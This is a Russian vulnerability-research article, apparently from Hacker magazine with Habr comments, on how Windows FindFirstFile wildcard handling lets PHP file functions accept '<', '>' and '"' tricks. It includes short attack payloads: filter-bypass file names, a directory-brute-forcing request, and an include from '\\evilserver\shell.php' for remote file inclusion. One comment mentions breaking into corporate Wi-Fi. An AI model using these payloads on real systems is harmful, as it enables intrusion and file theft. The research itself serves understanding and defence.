Новые уязвимости доступа к файлам в PHP

    Какой-нибудь год назад все просто с ума сходили от Error-based MySQL, а unserialize казался чем-то сложным и не встречающимся в реальной жизни. Теперь это уже классические техники. Что уж говорить о таких динозаврах как нуль-байт в инклудах, на смену которому пришел file name truncated. Исследователи постоянно что-то раскапывают, придумывают, а тем временем уже выходят новые версии интерпретаторов, движков, а с ними – новые баги разработчиков.
    По сути, есть три метода найти уязвимость: смекалка (когда исследователь придумывает какой-нибудь трюк и проверяет, работает ли он на практике), анализ исходного кода и фаззинг. Об одном интересном китайском фаззинге и его развитии с моей стороны я и хочу рассказать.

    Список функций и результаты проверки

    Fuzzing — это не только ценный мех...


    Началось все с того, что Гугл распорядился выдачей уже не помню на какой запрос и показал сайт на китайском языке: http://code.google.com/p/pasc2at/wiki/SimplifiedChinese, где было собрано множество интересных находок китайских фаззеров. Интересно, что в списке были совсем свежие находки, которые только-только публиковались в статьях. Среди них нашелся и привлекший мое внимание код следующего содержания:
    <?php
    for($i=0;$i<255;$i++) {
            $url = '1.ph'.chr($i);
            $tmp = @file_get_contents($url);
            if(!empty($tmp)) echo chr($i)."\r\n";
    }  
    ?>
    Привлек он меня потому, что смысла я не понял, но разобрал в описании знакомые символы «win32» :). Переводить китайскую письменность было странным развлечением даже с помощью google.translate, поэтому я тупо выполнил этот код под виндой и посмотрел на результат. Каково же было мое удивление, когда обнаружилось, что у файла в винде существовали как минимум 4 имени: 1.phP, 1.php, 1.ph>, 1.ph<. Теперь уже китайская письменность не казалась мне такой далекой, и переводчик Гугла помог понять ее смысл. Собственно, в этом самом «смысле» не было ничего больше, чем описание кода и результата его работы. Не то чтобы не густо — вообще никак! Такое положение дел меня не устраивало. До сих пор не понимаю этих китайцев — неужели им не интересно было понять, какие функции еще уязвимы, какие особенности у этого бага при эксплуатации, а конце концов, почему это вообще работает?

    Требую продолжения банкета!


    Первым делом я добавил второй итератор и запустил код с фаззингом уже по двум последним байтам. Результаты были непредсказуемы:
    1.p<0 (нуль-байт на конце)
    1.p<  (пробел на конце)
    1.p<"
    1.p<.
    1.p<<
    1.p>>
    1.p<>
    1.p><
    1.p<(p/P)
    1.p>(p/P)
    1.p(h/H)<
    1.p(h/H)>
    1.p(h/H)(p/P)
    Отсюда явно проглядывались закономерности — на конце имени файла могли идти символы: точка, двойная кавычка, пробел, нуль-байт. Чтобы проверить эту догадку, я запустил следующий код:
    
    <?php
    if (file_get_contents("test.php".str_repeat("\"",10).str_repeat(" ",10).str_repeat(".",10))) echo 1337;
    ?>
    Как нетрудно догадаться, он вернул 1337, то есть все работало так, как и было предсказано. Это само по себе было уже расширение по символам популярной уязвимости, альтернативы нуль-байту в инклудах. После продолжения издевательств над интерпретатором были найдены конструкции имени файла со слэшами на концах, которые тоже читались без проблем:
    file\./.\.
    file////.
    file\\\.
    file\\.//\/\/\/.
    Думаю, здесь все ясно: если использовать слэши после имени файла, то на конце всегда должна стоять точка. При этом слэши можно миксовать, и между ними можно втыкать одну точку.
    При всем при этом оставалось неясным главное — что скрывают символы < и >?

    Великий и могучий WINAPI


    Как мне быстро стало понятно, фаззингом природу этой ошибки не поймешь. Оставалось два варианта: смотреть сорцы или трассировать вызовы. Оба эти метода довольно быстро указали на одно и то же — вызов функции FindFirstFile. При этом в стеке вызов проходил уже с заменой символа > на ?, а < на *, двойная кавычка же заменялась на точку. Также очень весело было замечать, что, несмотря на замену, < не всегда работала как * в маске файла, а вот << всегда хорошо отрабатывала. При этом в стеке оба вызова были совершенно одинаковые, но давали разный результат (см. рисунок). Теперь стало полностью ясно, откуда растут ноги. И ноги действительно росли из Ж под именем MS.



    Польза MSDN


    Теперь оставалось понять, является ли такое поведение функции FindFirstFile нормальным, или же здесь имеет место баг. Искать ответ на этот вопрос я начал с документации: msdn.microsoft.com/en-us/library/aa364418(v=vs.85).aspx.
    В самой документации ничего не говорилось насчет символов > < ", зато вот в комментариях…
    Bug?!
    The characters of '<' and '>' are treated like wildcard by this function.

    [MSFT] — these are listed in the Naming A File topic as illegal characters in path and file names. That topic is being updated to make this clearer.
    History

    10/19/2007
    xMartian

    5/2/2008
    Mark Amos — MSFT
    То есть об этом баге было известно еще в 2007 году! А ответ производителя вообще потрясал своим содержанием… Без комментариев :). На этом, вроде бы, стала окончательно ясна причина такого поведения PHP. Можно было приступать к расширению области применения данного бага. Перепробовав различные варианты, перечитав кучу документации (MSDN и правда очень полезен) и опробовав сотни идей, я выявил ряд правил, которые работают для файловых имен в WIN-системах. Причем баг в FindFirstFile способствует только первым четырем из них (нулевой пункт не считаем). Также, забегая вперед, скажу, что уязвимость касается не только функции file_get_contents:
    1. Символы * и? не работают в именах файлов при вызове FindFirstFile через PHP (фильтруются).
    2. Символ < заменяется при вызове FindFirstFile на *, то есть маску любого количества любых символов. При этом были найдены случаи, когда это работает некорректно (см. картинку). Для гарантированной маски * следует использовать <<.
      Пример: include('shell<') подключит файл shell*, причем если под маску попадет более одного файла, то подключится тот, который идет раньше по алфавиту.
    3. Символ > заменяется при вызове FindFirstFile на ?, то есть один любой символ.
      Пример: include('shell.p>p') подключит файл shell.p?p, причем если под маску попадет более одного файла, то подключится тот, который идет раньше по алфавиту.
    4. Символ " заменяется при вызове FindFirstFile на точку.
      Пример: include('shell«php') эквивалентно include('shell.php').
    5. Если первый символ в имени файла точка, то прочитать файл можно по имени без учета этой точки.
      Пример: fopen(»htaccess") эквивалентно fopen(".htaccess"), а более навороченно, с использованием п.1,fopen(«h<<»). Так как в имени файла вторая буква «а», то по алфавиту он, скорее всего, будет первым.
    6. В конце имен файлов можно использовать последовательности из слэшей одного или разного вида (прямой и обратный), между которыми можно ставить одну точку, причем в конце всегда должна стоять точка, и не ", а настоящая.
      Пример: fopen("")
    7. Можно использовать сетевые имена, начинающиеся с \\, за которыми идет любой символ, кроме точки. Это очевидно и было известно всем давно. Дополню лишь, что если сетевое имя не существует, то на операцию с файлом уходят лишние 4 секунды, что способствует истечению времени и ошибке max_execution_time (смотри статью «Гюльчатай, открой личико»). Также это позволяет обходить allow_url_fopen=Off и делать RFI.
      Пример: include('\\evilserver\shell.php')
    8. Можно использовать расширенные имена, начинающиеся с \\.\, что дает возможность переключаться между дисками в имени файла.
      Пример: include('\\.\C:\my\file.php\..\..\..\D:\anotherfile.php').
    9. Можно использовать альтернативный синтаксис имени диска для обхода фильтрации слэшей.
      Пример: file_get_contents('C:boot.ini') эквивалентно file_get_contents('C:/boot.ini')
    10. Можно использовать короткие DOS-совместимые имена файлов и директорий. Это боян, не спорю. Но обращаю твое внимание, что если в директории находится более четырех файлов, имена которых короче трех символов, то такие имена будут дополнены четырьмя хекс-символами. Аналогично будет изменено имя файла, если в директории находятся более четырех файлов, чьи имена начинаются с тех же двух первых букв.
      Цитата:
      Specifically, if more than four files use the same six-character root, additional file names are created by combining the first two characters of the file name with a four-character hash code and then appending a unique designator. A directory could have files named MYFAVO~1.DOC, MYFAVO~2.DOC, MYFAVO~3.DOC, and MYFAVO~4.DOC. Additional files with this root could be named MY3140~1.DOC, MY40C7~1.DOC, and MYEACC~1.DOC.
      Пример: in.conf имеет DOS имя IND763~1.CON, то есть его можно прочитать строчкой file_get_contents('<<D763<<'), в которой вообще не содержится ни байта из настоящего имени файла! Как считаются эти четыре хекс-символа нигде не сказано, но они, кажется, зависят только от имени файла.
    11. В PHP под окружением командной строки (не mod_php, а php.exe) работает специфика файлов с зарезервированными именами aux, con, prn, com1-9, lpt1-9.
      Пример: file_get_contents('C:/tmp/con.jpg') будет бесконечно читать из устройства CON нуль-байты, ожидая EOF.
      Пример: file_put_contents('C:/tmp/con.jpg',chr(0x07)) пискнет динамиком сервера (музыка :)).
    Советую вырезать все пункты и повесить в рамочку на видное место. Лишним не будет :).

    Играем в считалочку


    Поверить китайскому в подписи под фаззингом о том, что уязвимость касается только file_get_contents, я просто не мог, хотя бы потому, что немного помнил исходники PHP. Недолго думая, я проверил все функции, которые вспомнил касательно работы с файлами. Результаты оказались более чем положительные.
    Уязвимость присутствует в функциях:
    fopen
    file_get_contents
    copy
    parse_ini_file
    readfile
    file_put_contents
    mkdir
    tempnam
    touch
    move_uploaded_file
    include(_once)
    require(_once)
    ZipArchive::open()
    Не присутствует в:
    rename
    unlink
    rmdir
    
    Есть где разгуляться, не правда ли? Но это еще полбеды.

    PoC: идеи использования


    Очевидно, что данную уязвимость можно использовать для обхода все возможных фильтров и ограничений. Например, для файла .htaccess, альтернативное имя будет h<< (см. п.4, п.1). Двухсимвольные файлы вообще можно читать без имени (см. п.9.). Ну и так далее. Есть и другое, не менее интересное применение — определение имен папок и файлов.
    Рассмотрим пример:
    <?php
    file_get_contents("/images/".$_GET['a'].".jpg");
    ?>
    С помощью такого кода можно очень просто получить список директорий веб-сервера.
    Посылаем запрос test.php?a=../a<%00 и получаем ответ вида
    Warning: include(/images/../a<) [function.include]: failed to open stream: Invalid argument in ...
    или
    Warning: include(/images/../a<) [function.include]:  failed to open stream: Permission denied ...
    В первом случае сервер не нашел ни одной директории начинающейся с буквы «а» в корне, во втором — нашел.
    Далее можно запустить подбор второй буквы и так далее. Для ускорения можно воспользоваться фонетикой (см. статью «Быстрее, выше и снова быстрее. Революционные подходы к эксплуатации SQL-инъекций»). Работает старая добрая техника эксплуатации слепых SQL инъекций.
    В ходе проведения опытов было замечено, что иногда сервер сразу выдает найденный путь в сообщении об ошибке. Тогда подбирать придется только в случае, если директории начинаются с одного и того же символа. От чего зависит вывод ошибки, я так и не успел разобраться и оставляю на суд общественности.

    Лирическое отступление


    Отрадно заметить, что репорт у китайцев нашел и Маг, который опубликовал ее в числе прочих в статье «Малоизвестные способы атак на web-приложения» еще 19 апреля, но пояснения и акцента на этой уязвимости там не было, был только китайский пример, с которого я и начинал.

    Мораль


    Честно говоря, очень хотелось найти альтернативу нуль-байту, но тщетно. Зато данная уязвимость открывает простор для других, не менее интересных атак. По сути, предоставляя возможности поиска директории и файлов через функции работы с файлами. Это само по себе уникальное явление. Как бы там ни было, респект китайцам с их фаззингом, но призываю и их, и всех остальных исследовать сырые данные, получаемые таким образом. Фаззинг фаззингом, а думать надо головой.

    Полезные ссылки:
    Журнал Хакер, Февраль (02) 145
    Владимир «d0znp» Воронцов


    Подпишись на «Хакер»
    Журнал Хакер 87,57
    Компания
    Поделиться публикацией
    Похожие публикации
    Комментарии 52
    • –20
      Долго и упорно читал и наконец осилил статью — Интересная PHP-инъекция.
      Хорошо, что методы защиты от неё стандартные — register_globals off + мозг.

      А за ссылочки, спасибо. Есть то чего не знал.
      • +64
        Если я всё в статье понял правильно, для защиты достаточно хоститься не на Windows.
        • +28
          Более того, сочетание php и win настолько противоестественно, что непонятно, зачем было приложено столько усилий
          • +4
            Тем не менее, microsoft когда-то обещал поддержку php в iis. Похоже, это будет весело.
            • +4
              У вас устаревшая информация — в IIS7 уже давно реализована поддержка. Можете посмотреть презентации на techdays.ru.
              • +8
                Значит — это тот самый момент, когда стало весело :)
                • 0
                  это весело пока не принуждают ипользовать
              • +3
                Ну вообще-то уже поддерживает. Даже байт-код кэширует)
                www.microsoft.com/web/platform/phponwindows.aspx
                • +2
                  >> PHP теперь работает на Windows лучше, чем когда либа.

                  Либа вообще не работает ))
                  • 0
                    Да уж, опечаточка что надо!
                    • 0
                      Боже, это на microsoft.com.
                      И на опечатку не похоже, это ж А вместо О. Они далековато…
                      Жесть.
                • +1
                  На сколько я знаю, проблемы только с PECL'ом.
                  • 0
                    Корпоративные сетки со внутренними документооборотами, хелдесками, виками и прочими портальчиками.
                    Зачастую всегда есть вафля, всегда есть простой код (так как много народа вбивают не до ключа).
                    Отсюда — садимся рядо с чашкой кофе, брутим по словарю точку, ищем пхп движок в 1-10 и 240-250 (по опыту) диапазоне ну и получаем доступ.
                    Вроде и пром шпионаж, а вроде бы и ничего особо секретного.
                    • +4
                      Не побоюсь этого слова: «Windows must die!»
                      • +1
                        И всё же, некоторые все равно используют такую связку, например
                        stat.kuban.skypoint.ru/
                        • +1
                          Очень много гос организаций используют Windows + IIS + PHP + Oracle
                          Достаточно не плохо справляется эта связка с потребностями клиентов
                        • +1
                          Кто-то хостится с PHP на Windows?
                      • 0
                        Скажите честно, ваша статья и это… тонкий троллинг php'шников?
                      • +11
                        «я тупо скомпилил этот код под винду»
                        • –2
                          скомпилировать пхп код под винду это сильно. главное не забывать что это интерпретируемый язык и нативно оно такое не умеет(специально уточняю для любителей zend)
                          • –1
                            Тоже не понял этого выражения. Может автор имел что то другое в виду?
                            • +2
                              имелся ввиду код интерпретатора php, в котором не добавились windows-specific проверки на имена файлов, а просто перекомпилировался *nix-вариант, в котором отсутствуют вышеупомянутые проблемы. Ваш К.О..
                            • 0
                              А почему решили, что он не мог его скомпилировать?
                            • 0
                              Отсканировал на принтер?)))
                            • –1
                              Кстати фича с нуль байтом ( отсекание окончание файла, т.е в коде file_get_contents("/images/".$_GET['a'].".jpg"); где a=index.php%00 попытается открыть именно index.php, а не index.php.jpg ) работает под *nix тоже
                              • +1
                                Недавно это пофиксили.
                                • 0
                                  Можно подробнее?
                                  • +1
                                    5.3.4 — Paths with NULL in them (foo\0bar.txt) are now considered as invalid (CVE-2006-7243).
                                    • 0
                                      В PHP Version 5.3.3 был фикс («замена null байта»: смотри в гугле), а в 5.3.4
                                      Paths with NULL in them (foo\0bar.txt) are now considered as invalid. (Rasmus)

                                      Скоро все перейдут на 5.3.4+ и null байт останеться в прошлом.
                                      • 0
                                        Не так быстро как хотелось, но рано или поздно так будут. А ка нет нужно учитывать такой кряк ;)
                                  • +15
                                    Мне кажется, за вещи типа "/images/".$_GET['a'].".jpg" — нужно давать железной линейкой по пальцам.
                                    • 0
                                      Голову отрубать, не иначе.
                                      В связи с чем назревает вопрос, а какой реальный толк от подобного рода эксплоитов, если их все равно не применить, если код написан не совсем уж криво, я даже представить не могу, кто сейчас так может делать и зачем.
                                      Ну и + windows == не улавливаю рил-тайм пользы:)
                                  • +4
                                    Это не баг, это фича :)
                                    • +2
                                      спасибо за интересный материал, надоели репортажы о распаковке очередной китайской х-ни.
                                      • +2
                                        Казалось бы, зачем использовать FindFileFirst если есть СreateFile или даже просто fopen?
                                        • +2
                                          Возможно потому, что тогда пропадет кросс-платформенность из-за чувствительности к регистру одного и того же php кода
                                        • +5
                                          за 10 лет журнал и его авторы не меняются)
                                          • НЛО прилетело и опубликовало эту надпись здесь
                                            • –6
                                              а кстати никто не подскажет ресурс для начинающих, чтобы научиться взламывать свои сайты, чтобы понимать, что именно уязвимо на сайте?
                                            • 0
                                              Осталось найти людей, которые юзают windows+php :)
                                              • +1
                                                Ну Microsoft как бы заявляют что с этим все круто :)

                                                Выше уже приводили ссылку www.microsoft.com/web/platform/phponwindows.aspx
                                                • 0
                                                  Заявляют, что всё круто, но при этом рекомендуют к установке 5.2.14, а последней версией называют 5.3.3.
                                                • 0
                                                  Множество .edu сайтов.
                                                • 0
                                                  Решето.
                                                  • НЛО прилетело и опубликовало эту надпись здесь
                                                    • 0
                                                      Не всегда линукс нужен, да даже сервер WoW помоему на линуксах не встаёт.
                                                      • НЛО прилетело и опубликовало эту надпись здесь
                                                    • 0
                                                      В чем моя ошибка (кроме богомерзкого C++ вместо божественного PHP и утечки хэндлов, на которые мне в данном случае плевать):
                                                      #include <Windows.h>
                                                      #include <iostream>
                                                      
                                                      void
                                                      main() {
                                                      	WIN32_FIND_DATA findData;
                                                      	if (FindFirstFile(L"c:\\windows\\system32\\note*", &findData) != INVALID_HANDLE_VALUE) {
                                                      		std::wcout << L"note* matched: " << findData.cFileName << std::endl;
                                                      	}
                                                      
                                                      	if (FindFirstFile(L"c:\\windows\\system32\\note<", &findData) != INVALID_HANDLE_VALUE) {
                                                      		std::wcout << L"note* matched: " << findData.cFileName << std::endl;
                                                      	}
                                                      }


                                                      Вывод (вполне ожидаемо) следующий:
                                                      note* matched: notepad.exe
                                                      Press any key to continue . . .


                                                      • 0
                                                        Вот блин. Даже в таком примере баг (тестил эти строки по отдельности — так что в результате был уверен заранее). В общем замена во втором случае «note* matched» на «note< matched» результата (вполне ожидаемо) не меняет

                                                      Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                                                      Самое читаемое